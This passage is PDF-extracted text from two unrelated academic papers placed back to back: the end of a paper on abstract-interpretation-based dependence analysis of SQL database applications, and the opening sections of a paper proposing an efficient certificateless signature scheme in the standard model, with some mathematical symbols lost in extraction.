Qdel = 〈DELETE(〈roll,mark, rank〉), rank � 30〉
Qins = 〈INSERT(〈roll,mark, rank〉, 〈5, 300, 20〉), false〉
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Fig. 3. Polyhedra representation of “std” and after database operations on “std”

The transition semantics of Qupd is defined as:

S̄[[Qupd]]Pstd = S̄[[〈UPDATE(〈mark〉, 〈mark + $vmark〉), rank � 30〉]]Pstd = {P′
T , PF }

where P′
T = 〈{roll � 1,−roll � −4,mark � 400, rank � 30,−rank � −62}, 3〉

andPF = 〈{roll � 1,−roll � −4,mark � 400,−mark � −1000, rank � 18,

-rank � −29}, 3〉.
The pictorial representation of PF , P’T are in Figs. 3(c) and (d) respectively.
The transition semantics of Qdel is:

S̄[[Qdel]]Pstd = S̄[[〈DELETE(〈roll,mark, rank〉), rank � 30〉]]Pstd

= {Pstd � ¬(rank � 30)} = {P′}
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where P′ = 〈{roll � 1,−roll � −4,mark � 400,−mark � −1000, rank �
18,−rank � −29}, 3〉 which is depicted in Fig. 3(e).
The transition semantics of Qins is:

S̄[[Qins]]Pstd = {Pstd � 〈{roll = 5,mark = 300, rank = 20}〉} = {P′}

The resulting polyhedron P′ is shown in Fig. 3(f).

Theorem 1 (Correctness). Given a table t, suppose the application of data-
base statement Q results t’, i.e. Q(t) = t′. Let P be the polyhedron representa-
tion of t such that S̄[[Q]]P = {P′}. The transition relation S̄ is correct w.r.t. γ
if Q(t) ⊆ γ(S̄[[Q]]P).

Proof. This is proved by using Galois Connection [8]. We skip the proof for
brevity.

Algorithm to Compute Abstract Semantics of Database Applica-
tions. The algorithm Abstract-Semantics computes polyhedron abstraction
of database-values at each program point based on the data-flow equations [28]
using semantic transition relation S̄. The data-flow equations are defined on the
control-flow graph of the database application which consists of various nodes:
start, end, assignment, test, join, DB-connect, update, delete, insert, select. The
algorithm starts with the polyhedron representation of the initial database and
applies data-flow equations until least fixed point solution is reached. The final
output represents a set of polyhedral representation of the database at each pro-
gram point obtained after sequential execution of the program. This result is used
to compute Ause, Adef , Υ and the semantics-based dependences (see Sects. 4.3
and 4.4). Observe that if the initial database is unknown then the domain range
of each attribute data type and other integrity properties and constraints are
used to represent the initial polyhedron as an overapproximation of all possible
initial database states.

4.3 Computation of Ause and Adef

Recall the Eqs. 1 and 2 in Sect. 3.2 to compute used - and defined -part of the
target table t by Q = 〈A,φ〉.

The computation of Ause, Adef w.r.t. abstract semantics are defined below.
Observe that Adef (Q, t) is represented in the form of two-tuple 〈PT , P′

T 〉 where
PT and P′

T are the components representing the true-part of the polyhedra of t
before and after the execution of Q.

UPDATE: S̄[[UPDATE(�vd, �e), φ〉]]P
= S̄[[UPDATE(�vd, �e), true〉]]PT ∪ S̄[[UPDATE(�vd, �e), false〉]]PF = {P′

T , PF }

Ause(Qupd, t) = 〈PT 〉 and Adef (Qupd, t) = 〈PT , P′
T 〉
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Algorithm 1. Abstract-Semantics
Input: Database Application of size n and database dB
Output: Set of polyhedra occurs at each of the program points

Let PdB represents the polyhedron representation of the initial database dB. Let
P(ci) where i = 1, . . . , n, represents set of polyhedra occurs at ith statement ci
of the application. Let pred(ci) represents the set of predecessor statements of
ci according to the control-flow graph of the application,

1. Compute PdB which is the polyhedron representation of the initial
database.

2. ∀i ∈ [0, . . . , n], P(ci) := ∅.
3. Repeat step 4 until least fix-point is reached.
4. ∀i = 1, . . . , n: apply the data flow equations DF(ci) defined below:

Switch( DF(ci)){
Case DF(start): ∅.
Case DF(end):

⊔
cj∈pred(ci)

P(cj).

Case DF(assignment):
⊔

cj∈pred(ci)
S̄[[xj := e]] (P(cj))

Case DF(test):
⊔

cj∈pred(ci)
S̄[[�l.�x ⊗ m]] (P(cj))

Case DF(join):
⊔

cj∈pred(ci)
P(cj).

Case DF(DB-connect): PdB

Case DF(update):
⊔

cj∈pred(ci)
S̄[[UPDATE(�vd, �e), φ〉]] (P(cj))

Case DF(delete):
⊔

cj∈pred(ci)
S̄[[DELETE(�vd), φ〉]] (P(cj))

Case DF(insert):
⊔

cj∈pred(ci)
S̄[[INSERT(�vd, �e)〉]] (P(cj))

Case DF(select):
⊔

cj∈pred(ci)

S̄[[〈SELECT(f(�e′), r(�h(�x)), φ2, g(�e)
)
, φ1〉]](P(cj))

}
End

DELETE: S̄[[DELETE(�vd), φ〉]]P = S̄[[DELETE(�vd), true〉]]PT = {P′}

Ause(Qdel, t) = 〈PT 〉 and Adef (Qdel, t) = 〈PT , ∅〉

INSERT: S̄[[INSERT(�vd, �e), φ〉]]P = S̄[[INSERT(�vd, �e), true〉]]P = {P � Pnew}
where Pnew is the polyhedron represented by the inserted tuple values.

Ause(Qins, t) = 〈∅〉 and Adef (Qins, t) = 〈∅,Pnew〉

SELECT: S̄[[〈SELECT(
va, f(�e′), r(�h(�x)), φ2, g(�e)

)
, φ1〉]]P

= S̄[[〈SELECT(
va, f(�e′), r(�h(�x)), φ2, g(�e)

)
, true〉]]PT

⋃

S̄[[〈SELECT(
va, f(�e′), r(�h(�x)), φ2, g(�e)

)
, false〉]]PF = {P}

Ause(Qsel, t) = 〈PT 〉 and Adef (Qsel, t) = 〈∅, ∅〉

Observe that, in case of update operation, Adef consists of two elements: the
first one represents the polyhedron before updation and the second one represents
the polyhedron after updation. In Ause and Adef , we keep both the elements
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Fig. 4. Polyhedra representation of the database “emp” w.r.t Q3 and Q4

separated by comma, instead of performing union or minus operation, as it
reduces false positive and the computational complexity significantly. Example
6 illustrates this on the running example in Fig. 1.

Example 6. Consider the example in Fig. 1. The abstract representation of the
table “emp” (in Fig. 1(b)) in the form of polyhedron is:

Pemp = 〈{com � 10, −com � −30, sal � 800, −sal � −3000, age � 20, −age � −62}, 3〉

This is shown in Fig. 4(a). The abstract syntax at program points 3 and 4 are:

Q3 : 〈UPDATE(〈sal〉 〈sal + 100〉), (com + age) � 60〉
Q4 : 〈SELECT(rs1, id, ALL(AVG(sal)), true, id), (age + com) � 55〉

where id represents identity functions for f and g. The transition semantics of
Q3 is:
S̄[[Q3]]Pemp = S̄[[〈UPDATE(〈sal〉, 〈sal + 100〉), (age + com) � 60〉]]Pemp =
{P′

T , PF }, where
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PT = 〈{com � 10, −com � −30, sal � 800, −sal � −3000, age � 30, −age � −62,

(age + com) � 60}, 3〉.
P′
T = 〈{com � 10, −com � −30, sal � 900, −sal � −3100, age � 30, −age � −62,

(age + com) � 60}, 3〉.
PF = 〈{com � 10, −com � −30, sal � 800, −sal � −3000, age � 20, −age � −49,

− (age + com) � −59}, 3〉.

This is depicted in Fig. 4(b). Similarly, the transition semantics of Q4 is:

S̄[[Q4]]Pemp = S̄[[〈SELECT(rs1, id, ALL(AVG(sal)), true, id), (age + com) � 55〉]]Pemp

= S̄[[〈SELECT(rs1, id, ALL(AVG(sal)), true, id), true〉]]PT

⋃
S̄[[〈SELECT(rs1, id, ALL(AVG(sal)), true, id), false〉]]PF

= {Pemp}, where

PT = 〈{com � 10, −com � −30, sal � 800, −sal � −3000, age � 20, −age � −45,

− (age + com) � −55}, 3〉.
PF = 〈{com � 10, −com � −30, sal � 800, −sal � −3000, age � 26, −age � −62,

(age + com) � 56}, 3〉.

This is depicted in Fig. 4(c). According to the abstract semantics, the defined -
part by Q3 and the used -part by Q4 are:

Adef (Q3,emp) = 〈PT , P′
T 〉 and Ause(Q4,emp) = 〈PT 〉

4.4 Computation of Υ

According to the Definition 3, the dependence of Q2 on Q1 is denoted as Q1
Υ−→

Q2 where S̄[[Q1]](ρt, ρa) = {(ρt′ , ρa)} and Υ = Adef (Q1, t) ∩ Ause(Q2, t
′) �= ∅.

The semantic dependency and independency of Q2 on Q1 are determined
based on the following four cases:

Case1. PQ1
T � PQ2

T 	= ∅ ∧ P′Q1
T � PQ2

T = ∅ Case2. PQ1
T � PQ2

T = ∅ ∧ P′Q1
T � PQ2

T 	= ∅
Case3. PQ1

T � PQ2
T = ∅ ∧ P′Q1

T � PQ2
T = ∅ Case4. PQ1

T � PQ2
T 	= ∅ ∧ P′Q1

T � PQ2
T 	= ∅

where � is the greatest lower bound representing union operation, Adef (Q1, t) =
〈PQ1

T , P′Q1
T 〉, and Ause(Q2, t

′) = PQ2
T .

The SQL statements Q1 and Q2 are semantically independent when case 3 holds.
That is,

Υ = Adef (Q1, t) ∩Ause(Q2, t
′) = ∅ iff PQ1

T � PQ2
T = ∅ ∧ P′Q1

T � PQ2
T = ∅ (3)
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Example 7. In Example 6, we have computed Adef (Q3,emp) = 〈PT , P′
T 〉 and

Ause(Q4,emp) = 〈PT 〉 at program points 3 and 4 of the program “Prog” in
Fig. 1. The dependence Q3

Υ−→ Q4 does not exist semantically as

PQ3
T � PQ4

T = ∅ ∧ P′Q3
T � PQ4

T = ∅

In words, the statement at program point 4 does not semantically dependent on
the statement at 3 for the attribute sal in Fig. 1.

Algorithm to Compute Semantics-Based Dependences Based on
Abstract Semantics. The algorithm semDOPDG takes a list of used - and
defined -parts (Ause and Adef ) at each program statement ci of the database
application of size n, and computes its semantic-based DOPDG. The algorithm
creates edges between DOPDG-nodes ci and cj based on the emptiness checking
of the intersection of the defined -part by ci and the used -part by cj following the
Eq. 3. To remove false dependency where more than one database statements (in
sequence) redefine an attribute values which is finally used by another statement,
the condition Adef (i) � Adef (j) verifies whether defined -part at program point
ci is fully covered by the defined -part at program point cj . In this case, the true
value in flag variable represents the dependency between ci and cj .

Algorithm 2. semDOPDG
Input: used- and defined-part (Ause, Adef ) by all database statements in the

program.
Output: Semantic-based DOPDG

Set flag=TRUE
for i =1 to n-1 do

for j=i+1 to n do
if Adef (i) � Ause(j)= ∅ then

Set flag = FALSE

else

Add the edge from ith node to jth node (i → i)

if flag=True then
if Adef (i) � Adef (j) then

flag = TRUE;
BREAK;

End

Soundness. The semantics-based dependence computation is sound if a depen-
dency does not exist in the abstract domain then it must not exist in the concrete
domain. In other words, semantics independences in the abstract domain implies
semantics independences in the concrete domain.
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Theorem 2 (Soundness of Semantic Independences). Given two state-
ments Q1 and Q2, let Adef (Q1) and Ause(Q2) be the database defined- and used-
parts respectively represented in abstract polyhedra domain. The computation of
semantic independence is sound if ∀X ⊆ γ(Adef (Q1)),∀Y ⊆ γ(Ause(Q2)) :
X ∩ Y ⊆ γ(Adef (Q1) ∩ Ause(Q2)) which implies that Adef (Q1) ∩ Ause(Q2) =
∅ ⇒ X ∩ Y = ∅.
Proof. We skip the proof for brevity.

5 Discussions of the Proposal w.r.t the Literature

This section discusses some existing notable directions towards semantics-based
dependence computations of database applications, and provides a comparative
analysis of our approach w.r.t. the literature.

Query-containment as Dependency Computation. The query containment is the
problem of checking whether for every database, the result of one query is a
subset of the result of another query [26]. Formally, a query Q1 is said to be
contained in a query Q2, denoted Q1 � Q2 ⇐⇒ ∀D Q1(D) ⊆ Q2(D) and
Q1 ≡ Q2 ⇐⇒ Q1 � Q2 ∧ Q2 � Q1, where Q(D) represents the result of query Q
on database D. The complexity of conjunctive query containment is NP-complete
[26]. Query containment is useful for the various purposes of query optimization,
detecting independence of queries from database updates, rewriting queries using
views, etc. [23,26].

Dependency computation problem of database applications considers not
only SELECT query, but also DML commands INSERT, UPDATE, DELETE.
Therefore, solutions to the query containment problem are unable to provide
a complete solution for the case of semantics-based dependency computation of
database applications involving both write-write and write-read operations.

Propagation Analysis of Condition-Action rules. As a solution to compute over-
lapping part, Willmor et al. [33] refer to the analysis of Condition-Action rules of
expert database system proposed in [3]. These rules are expressed in an extended
relational algebra in the form Econd −→Eact where Econd and Eact represent the
rule’s condition and the rule’s action as a data modification operation respec-
tively. The propagation algorithm performs a syntactic analysis to predict how
the action of one rule can affect the condition of another. In other words, the
analysis checks whether the condition sees any data inserted or deleted or mod-
ified due to the action. Therefore, such kind of conditions verifications makes
the computational complexity of dependence computation exponential w.r.t.
the number of defining statements. Moreover, the algorithm fails to capture the
semantic independencies when an attribute x is partially defined by more than
one database statements (in sequence) and finally is used by another statement.
In a nutshell, the propagation analysis is flow-insensitive.
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Our Proposed Approach. Semantics in polyhedral abstract domain captures the
relations among program variables and attributes and results into a more pre-
cise analysis with the cost of high computation complexity. Nevertheless, sev-
eral other relational and non-relational abstract domains exist which provides a
tradeoff between preciseness, efficiency and scalability. Intuitively, preciseness of
the analysis in relational abstract domain are benefitted significantly when more
number of relations among variables or attributes are present in the program
itself, e.g. in the WHERE clause or in the conditional or iterative statements. For
instance, consider the following statements:

Q1 : UPDATE t SET a := a + 1 WHERE a � 3
Q2 : SELECT a FROM t WHERE b � 12

Due to the absence of any relation among attributes in the WHERE clauses of
both statements, the polyhedral analysis yields a conservative results Q1 → Q2

which may not be true in some case. This is worthwhile to mention that we have
avoided convex-hull (union) operation partially in the proposal which reduces
the computational complexity significantly.

Let us discuss the scenario in a weakly relational abstract domain “octagon”
of the form cixi + cjxj � c where xi and xj are program variables, ci, cj ∈
[−1, 0, 1] and c ∈ R∪ {∞} [27]. It can be seen as a restriction of the polyhedra
domain where each inequality constraint only involves at most two variable and
unit coefficients. In the case of dependency computation, the result produced by
octagon abstract domain is less precise than polyhedra abstract domain, but is
less costlier as compared to polyhedra. In some cases, octagon abstract domain
is not applicable where more than two attributes in a SQL statement formed
a relation or the attributes in a SQL statement has non unite coefficient. For
example, consider the following two SQL statements:

Q1 : UPDATE t SET a := a + 1 WHERE 3 ∗ a + 2 ∗ b � 35
Q2 : SELECT a FROM t WHERE 3 ∗ a + 2 ∗ b � 30

where statements have non unite coefficients in the constraints 3 ∗ a + 2 ∗ b � 35
and 3 ∗ a + 2 ∗ b � 30 which can not be represented in the form of octagonal
constraints.

Most importantly, our proposed approach, irrespective of the abstract
domains, serves as a pwoerful tool to give a solution in the case of undecidable
scenario when no initial database state is provided. In such situation, the analy-
sis starts with an overapproximation of all possible initial database states which
is obtained by considering domain ranges of attributes’ data types, integrity
constraints, etc.

Computational Complexity. The computation of abstract semantics over the
abstract domain of polyhedra is based on the polyhedra operations in terms
of vertices and rays. The suitable libraries [2,19] are available for polyhedra
computation. Although, in general, the computational complexity is exponential
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(O(2n)) [21], however for fixed dimension the complexity can be reduced to linear
[25]. Alternatively, weakly relational abstract domains, e.g. domain of octagon,
difference bound matrix [27], etc. exist which require polynomial time and space
complexity, but they are less precise than polyhedra abstract domain and they
supports more limited number of relations between program variables.

6 Applications

Semantic-based approach computes an optimal set of dependences in programs,
yielding to more precise dependence graphs. This refinement plays crucial role
in different fields of the software engineering. Some of the applications are
(i) Language-based Information Flow Security Analysis [20,30]: As
dependence graph-based approaches are flow-sensitive, they are widely accepted
approaches to perform language-based information flow security analysis. Sev-
eral formal approaches also implicitly or explicitly use the notion of dependences.
(ii) Slicing [16,22]: Program slicing is one of the most suitable static analysis
techniques used in many software engineering scenarios, e.g. debugging, test-
ing, code-understanding, code-optimization etc. (iii) Data provenance [5]:
Data provenance is a source of information or contextual information about an
object. Its intention is to show how (part of) the output of a query depended on
(part of) its input. Semantics-based dependence analysis techniques are familiar
for semantic characterization of data provenance. (iv) Concurrent System
modeling [11,18]: In case of software transaction, semantic-based dependency
computations play an important role to schedule various transactions for con-
current execution without lose of database consistency. (v) Materialization
View Creation [31]: Attribute dependences are significantly useful in creation
of materialized view of databases. Semantics-based approach can be applied in
this context as well.

7 Conclusions

In this paper, we proposed a novel approach to compute semantics-based depen-
dences in database applications based on the Abstract Interpretation framework.
The semantic independences among database statements are computed based on
the abstract semantics of database statements in the affine domain of polyhe-
dra. Although more precise, however, as an alternative we may also use other
weakly relational abstract domain as well (e.g. domain of octagons, difference
bound matrix, etc.) to reduce the computational complexity with the cost of
preciseness. The proposed approach serves as a powerful tool to give a solution
in the case of undecidable scenario when no initial database state is provided.
We are now implementing a prototype based on our proposal aiming to apply
on real benchmark codes and to check the strength of the proposal in terms of
precision, scalability and efficiency w.r.t. existing techniques.
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Abstract. Identity-based cryptography has been introduced by Shamir
at Crypto’84 to avoid the use of expensive certificates in certified public
key cryptography. In such system, the identity becomes the public key
and each user needs to interact with a designated authority to obtain the
related private key. It however suffers the key escrow problem since the
authority knows the private keys of all users. To deal with this problem,
Riyami and Paterson have introduced, at Asiacrypt’03, the notion of
certificateless public key cryptography. In this case, there is no need to
use the certificate to certify the public key, and neither the user nor
the authority can derive the full private key by himself. There have
been several efforts to propose a certificateless signature (CLS) scheme
in the standard model, but all of them either make use of the Waters’
technique or of the generic conversion technique (proposed by Yum and
Lee at ACISP’04 and later modified by Hu et al. at ACISP’06) which
both lead to inefficient schemes. In this paper, we introduce a new and
direct approach to construct a CLS scheme, secure in the standard model,
with constant-size of all parameters and having efficient computing time.
Our scheme is therefore very efficient when comparing to existing CLS
schemes in the standard model.

Keywords: Certificateless signature · Standard model · Strong type
adversary

1 Introduction

The era of modern cryptography has started with the introduction of public key
cryptography (PKC). In the context of PKC, each user possesses a private key
(e.g., to digitally sign a message) and a corresponding public key (e.g., to verify
the obtained signature). To verify whether a public key belongs to the correct
identified user, the public key needs to be associated to a certificate provided
by a trusted Certificate Authority (CA), introducing the notion of Public Key
Infrastructure (PKI). During the life-cycle of e.g., a signature scheme, the CA is
therefore in charge of providing, maintaining and revoking a large amount of cer-
tificates, which requires using a lot of resources when deployed in the real world.
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To deal with this drawback, Shamir [13] has introduced the concept of identity-
based cryptography for which the public key of a user is exactly his/her identity,
such as his/her phone number or email address. The corresponding private key
is next generated by some private key generator (PKG), from a master secret key
and the identity of the requesting user. However, identity-based cryptography
naturally suffers an important disadvantage (named key escrow problem): the
PKG knows the private key of all users. One basic solution is to distribute the
key of the PKG into several entities. But first, such distribution is not compatible
with all identity-based schemes, or leads to non-efficient solutions. And second,
the whole infrastructure may become too complex for a practical deployment.

Certificateless Cryptography. To eliminate this new problem, Al-Riyami
and Paterson have introduced in [1] the notion of certificateless cryptography.
There is still no need for a certificate and, this time, the PKG has no way to
obtain the user private key. In fact, the key is computed by both the PKG and the
user such that only the latter obtains the result. The part which is still provided
by the PKG is computed from a master secret key and the user’s identity.

We now focus on the case of certificateless signature (CLS) schemes and give
some words about related work before explaining our contribution on this topic.

1.1 Related Work on Certificateless Signature Schemes

Regarding the security model for a CLS scheme, there are mainly two types of
forgers: a Type I forger represents a third party attacker while a Type II forger
models a fraudulent PKG. Huang et al. [8] have proposed an additional forger
in a “super” model which is however not really realistic in practical scenario (as
argued by the authors themselves). We do not consider such model in the sequel.

To date, there have been numerous efforts to propose CLS schemes in both
the random oracle [1,4,8,9,14,16,21] and the standard models [7,10,17–20]. Al-
Riyami and Paterson [1] have proposed the first CLS scheme, but Huang et al. [9]
have then pointed out that their work is insecure against a Type I forger.

Regarding constructions secure on the random oracle model, Zhang et al. [21],
Choi et al. [4], and Tso et al. [14] have proposed three efficient CLS schemes,
where all parameters are of constant-size. In [8], Huang et al. go one step further
by revisiting the security model and proposing two efficient constructions in the
random oracle model.

We now focus on the constructions that are secure in the standard model. In
this case, there are currently two types of constructions in the literature.

Using Waters’ hash function. In [15], Waters has proposed a new hash
function technique that can be used to map an identity (of arbitrary length) to
a key (of fixed bit length) in a CLS scheme. The main problem of such technique
is that it leads to relatively large public parameters and heavy computing time.
More precisely, both the space and time complexities are a function of the size of
the expected fixed bit length. One possibility is then to apply the Naccache’s [11]
or Chatterjee-Sarkar’s [3] techniques to reduce this fixed length, but the price to
pay is either a security loss or a less efficient scheme.
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The first concrete construction using Waters’ hash function has been given
by Liu et al. [10]. Three other schemes can now be found in the literature [17–19].
But, besides the relative inefficiency of these schemes (see Table 1 below), three
of them (namely [10,17,19]) are vulnerable to Xia et al.’s attack [16], where the
adversary can modify the public key of obtained valid signatures.

Yum-Lee generic transformation. In [20], Yum and Lee have introduced
a generic construction for certificateless signature schemes (applied in both the
random oracle and the standard models). The first step of this construction
consists in designing an identity-based signature (IBS) scheme and then combine
it with a standard signature (SS). The resulting efficiency for the CLS scheme
is however approximately worse than the one of the chosen IBS plus the one
of the chosen SS. Moreover, a way to construct an IBS scheme is to apply the
folklore conversion technique which either uses two SS schemes or a 2-levels
Hierarchical Identity-Based Encryption (but we then fall into the above case of
using Waters’ technique). Again, the resulting efficiency is approximately three
times worse than the efficiency of the underlying SS scheme.

It is also worth to remark that Hu et al. [7] have pointed out that Yum
and Lee’s technique is insecure against a Type I forger. They have next given a
modification but at the price of a loss in terms of efficiency.

To the best of our knowledge, it then remains an open problem to design
a truly efficient CLS scheme secure in the standard model. In this paper, we
propose such construction by providing a new technique.

1.2 Our Contribution and Organization of the Paper

Our construction is based on the stacking of the Boneh-Boyen BB standard
signature [2] in the recent Pointcheval-Sanders PS one [12], both secure in the
standard model. More precisely, the generator used in the PS signature corre-
sponds to a BB signature including the master secret key and user’s identity.
Adding one element in the signature, we obtain a unique pairing equation to
verify both the validity of our CLS and the one of the related public key, instead
of two if basically applied together, or if other standard signature schemes are
used.

Our resulting scheme enjoys the constant-size of all parameters together with
an efficient computing time. It is therefore the most efficient CLS scheme in the
standard model to date. We give in Table 1 the detailed comparison among our
CLS scheme and most relevant other existing CLS schemes secure in the standard
model. Our CLS scheme is moreover secure against both Type I and Type II
forgers according to the classification given by Huang et al. [8].

Paper organization. The next section introduces definition and security
model for a CLS scheme. Section 3 gives some tools that we will need for our
main construction. In Sects. 4 and 5, we give our CLS scheme and its security
analysis, respectively.
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Table 1. Comparison among our scheme and some previous CLS schemes in the stan-
dard model. nu, nm are the fixed length corresponding to the parameters of the Waters’
function. E,P,MG denote the exponentiation in a group G, the pairing computation,
the multiplication in a group G, respectively. |Sig|, |pk|, Sign, Verif denote the signature
size, public key size, signing time, verifying time of a SS secure in the standard model,
respectively.

Sig size Public key size Signing time Verifying time

[10] 3|G| (nu + nm + 5)|G| 5E + (nu+nm
2 + 3)MG 6P + nu+nm

2 MG + 2MGT

[19] 4|G| (nu + nm + 4)|G| 9E + (nu+nm
2 + 7)MG 6P + nu+nm

2 MG + 2MGT

[17] 3|G| (nu + nm + 5)|G| 5E + (nu+nm
2 + 3)MG 3P + nu+nm

2 MG + 1E + 2MGT

[18] 4|G| (nu + 7)|G| 6E + (nu
2 + 4)MG 5P + nu+1

2 MG + 1E + 2MGT

[7] 3|Sig| + 1|pk| 1|pk| 2Sign 3Verif

Ours 4|G| 7|G| 6E + 2MG 3P + 6MG + 2E

2 Security Model for Certificateless Signature Schemes

We recall in this section the security model for a CLS scheme, based on the work
given in [8]: the main procedures, the oracles that the adversary can request,
and the expected security properties.

2.1 Definition

A certificateless signature scheme requires three actors: a designated authority
acting as a Private Key Generator PKG, a signer and some verifier.

Informally speaking, the main difference between a standard signature
scheme and a certificateless signature scheme is the way the keys are generated.
In a CLS scheme, the key generation process is divided into four steps which
finally permits to compute the user private key SKID, computed from both a
secret value xID chosen by the user him/herself and a partial private key DID

generated by the PKG from a master key and the user’s identity.
More formally, a CLS scheme consists of seven probabilistic algorithms.

– Setup: this algorithm takes as input a security parameter λ and returns the
system parameters param and a master secret key msk.

– Partial-Private-Key-Extract: this algorithm takes as input param, the master
key msk and a user’s identity ID. It returns a partial private key DID devoted
to the user with identity ID.

– Set-Secret-Value: this algorithm takes as input the security parameter λ and
a user’s identity ID and returns the user’s secret value xID.

– Set-Public-Key: this algorithm takes as input a user’s secret value xID. It
returns the user’s public key PKID.

– Set-Private-Key: this algorithm takes a user’s partial private key DID and public
key PKID, and his secret value xID as input. It returns the user’s full private
key SKID.
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– Sign: this algorithm takes param, a message m, and a user’s full private key
SKID as input. It returns a signature σ.

– Verify: this algorithm takes param, a message m, a user’s identity ID, a public
key PKID, and a signature σ as input. It returns 1 if σ is a valid signature of
the message m and 0 otherwise.

Regarding efficiency, the main purpose of a certificateless signature scheme
is to give a verification phase for which the time complexity does not correspond
to the verification of the signature (output by Sign) plus the verification that the
partial private key is a correct one (that is, output by Partial-Private-Key-Extract
and derived by the PKG).

2.2 Adversary’s Oracles

Before giving the expected security properties for a CLS scheme, we first intro-
duce the adversary against a certificateless signature scheme, named a forger
and denoted F . Such forger interacts with a challenger C in some games that
will be defined in the next section. We first need to introduce some oracles that
can be available for to forger F , and that are executed by the challenger C.

– ExtrPartSK(ID): when F requests the partial private key for a user with
identity ID, C responds the user’s partial private key DID by running the
Partial-Private-Key-Extract algorithm.

– ExtrFullSK(ID): when F requests the full private key for a user with iden-
tity ID, C outputs the user’s full private key SKID by running the algorithms
Partial-Private-Key-Extract, then Set-Secret-Value and finally Set-Private-Key
with input ID and intermediate values.

– RequestPK(ID): when F requests the public key for a user with identity ID,
the challenger C outputs the user’s public key PKID by running the algorithms
Set-Secret-Value and Set-Public-Key on input ID.

– ReplacePK(ID, xID′ ,PKID′): F can choose ID and replace the original public
key PKID to a new public key PK′

ID by making a query (ID, xID′ ,PKID′) to C.
– Strong-Sign(m, ID): when F requests a signature on a message m for a user

with identity ID, the challenger C responds with a valid signature σ for m by
running the Sign algorithm with the matching public key PKID for ID. Remark
that C still responds a valid signature σ for m even if PKID is a replaced public
key (as it can easily compute the full private key SKID).

Remark 1. It also exists an alleged version of a forger only having access to a
“normal” signing oracle for which the challenger aborts when the secret key of
the requested identity has been replaced during a call to the ReplacePK oracle.
In this paper, we only consider the stronger version above. See [8] for details.

2.3 Security Model

We consider two types of forger for a CLS scheme, named Type I forger F1

(related to Game I below) and Type II forger F2 (related to Game II below).
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In fact, F1 represents a third party forger against the CLS scheme. Then, F1

does not know the master secret key msk but may request and replace public
keys with values of its choice (using above oracles). On contrary, the forger F2

represents a malicious PKG who generates partial private key of users. Then, F2

knows the master key but cannot replace a public key. The reason is that he
could in this case compute the full private key from the partial private key and
the user secret value (using Set-Private-Key): output a signature related to this
key is then no more a forge.

A CLS scheme is secure if it resists both Type I and Type II forgers.

Game I: the first game is performed between a challenger C and a type I forger
F1 as follows.

Initialization: C runs the Setup algorithm and generates a master secret key
msk and the public system parameters param. C keeps msk secret and gives
param to F1. Note that F1 does not know the master key msk.

Queries: F1 may adaptively request the following oracles with C: ExtrPartSK,
ExtrFullSK, RequestPK, ReplacePK and Strong-Sign.

Output: Eventually, F1 outputs (IDt,mt,σt), where IDt is the identity of a target
user, mt is a message, and σt is a signature for mt. F1 wins the game if the
following conditions are verified:
1. ExtrPartSK(IDt), ExtrFullSK(IDt) and Strong-Sign(mt, IDt) have never

been queried;
2. Verify(param,mt, IDt,PKt, σt) outputs 1, which means the signature σt for

a message mt is valid under PKt.

We define SuccΠ
F1

the success probability that a Type I adversary F1 wins
the above game.

Game II: the second game is performed between a challenger C and a type II
forger F2 as follows.

Initialization: C runs the Setup algorithm and generates a master secret key
msk and the public system parameters param. The challenger C gives both
public param and secret msk to F2.

Queries: F2 may adaptively request the following oracles with C: ExtrFullSK,
RequestPK and Strong-Sign.

Output: eventually, F2 outputs (IDt,mt,σt), where IDt is the identity of a target
user, mt is a message, and σt is a signature for mt. F2 wins the game if the
following conditions are verified:
1. ExtrFullSK(IDt) and Strong-Sign(mt, IDt) have never been queried;
2. Verify(param,mt, IDt,PKt, σt) outputs 1, which means that the signature

σt for a message mt is valid under PKt.

We then define SuccΠ
F2

to be the success probability that a Type II adversary
F2 wins the above game.
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Definition 1. We say that a certificateless signature scheme Π is existentially
unforgeable against polynomially bounded forgers Type I F1 and Type II F2 if
the success probabilities SuccΠ

F1
(λ) and SuccΠ

F2
(λ) of both Type I F1 and Type

II F2 are negligible, where λ is the security parameter.

3 Preliminaries

In this section, we give some useful tools we will need all along the paper. If
needed, some other details will be given directly in the description of our scheme,
when necessary.

In the sequel, a standard signature scheme SS is given by the three algo-
rithms (KeyGen,Sign,Verif). Regarding security, such scheme should be existen-
tially unforgeable against chosen message attacks (EUF-CMA) [6], which means
that it is hard, even given access to a signing oracle, to output a valid message
signature pair for a message never asked to the signing oracle.

3.1 Bilinear Groups

Let G, G̃ and GT denote three finite multiplicative abelian groups of large prime
order p > 2λ where λ is the security parameter. Let g be a generator of G and
g̃ be a generator of G̃. We assume that there exists an admissible asymmetric
bilinear map e : G × G̃ → GT , meaning that for all a, b ∈ Zp

1. e(ga, g̃b) = e(g, g̃)ab;
2. for g �= 1G and g̃ �= 1

˜G
, e(g, g̃) �= 1GT

;
3. e(g, g̃) is efficiently computable.

In the sequel, the set (p,G, G̃,GT , g, g̃, e) is called a bilinear map group system. In
this paper, we consider in the sequel type 3 pairings where there is no efficiently
computable homomorphism (φ : G → G̃) exist between G and G̃ in either
direction [5].

3.2 Boneh-Boyen Signature Scheme

Boneh and Boyen have proposed in [2] short signature schemes (named BB for
short), secure in the standard model, under the q-SDH assumption [2]. In this
paper, we make use of the weak version of the BB signature.

In a nutshell, the BB scheme requires a bilinear map group system (p, G, G̃,
GT , g, g̃, e) and works as follows (details can be found in [2]).

– KeyGen: the secret key s ∈ Z
∗
p, the corresponding public key is w̃ = g̃s.

– Sign: on input the secret s, the signature of a message m ∈ Zp is obtained by
computing σ = g1/(s+m).

– Verif: on input a message m and the corresponding signature σ, together with
the public key w, anybody can verify the validity of σ̃ by checking that:

e(σ, w̃g̃m) = e(g, g̃).
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The q-SDH assumption [2], given by the following definition, permits to prove
that such signature scheme is EUF-CMA.

Definition 2. q-SDH assumption: Let (p,G, G̃,GT , e) be a bilinear group set-

ting of type 3, with g (resp. g̃) a generator of G (resp. G̃). Choose s
$← Zp.

Given (g, g̃, gs, gs2
, · · · , gsq

, g̃s), no adversary can efficiently generate a pair
(c, g

1
s+c ) ∈ Zp × G.

3.3 Pointcheval-Sanders Signature Scheme

Recently, Pointcheval and Sanders have proposed in [12] a new construction for
a signature scheme (called PS in the sequel) with additional features. They prove
the security of their construction in the standard model, under a new assumption
they have introduced, called PS assumption 1 in the sequel, and given below.

In a nutshell, the PS scheme necessitates a bilinear map group system (p, G,
G̃, GT , g, g̃, e) and works as follows (details can be found in [12]).

– KeyGen: the secret key is a tuple (x, y) ∈ Z
∗
p, and the public key is composed of

